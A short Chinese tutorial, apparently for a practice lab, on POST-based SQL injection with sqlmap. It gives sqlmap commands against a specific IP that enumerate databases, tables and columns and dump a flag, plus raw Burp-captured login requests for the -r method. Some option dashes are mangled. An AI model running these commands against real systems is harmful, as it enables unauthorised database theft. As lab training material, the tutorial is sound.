POST注入之sqlmap

POST注入
方法一加—form跑数据库
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs
跑出数据库后查询表名 假设库名是error
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs -D error —tables
得到表名后查询字段 字段名error_flag
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs -D error -T error_flag —columns
跑字段值 值是flag 加—dump拿到数据
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs -D error -T error_flag -C flag —dump
方法二
用BURP抓包后保存数据包这里保存为1.txt文件
抓包前
POST /Pass-05/index.php HTTP/1.1
Host: 59.63.200.79:8815
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://59.63.200.79:8815
Connection: close
Referer: http://59.63.200.79:8815/Pass-05/index.php
Upgrade-Insecure-Requests: 1

username=admin&password=admin&submit=%E7%99%BB%E5%BD%95

打开保存数据包文件1.txt
抓包后在认为存在注入的地方打
POST /Pass-05/index.php HTTP/1.1
Host: 59.63.200.79:8815
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://59.63.200.79:8815
Connection: close
Referer: http://59.63.200.79:8815/Pass-05/index.php
Upgrade-Insecure-Requests: 1

username=1&password=1&submit=%E7%99%BB%E5%BD%95
用到-r的参数 后面的和方法1一样跑
sqlmap.py -r C:\Users\ceshi\Desktop\1.txt.txt —dbs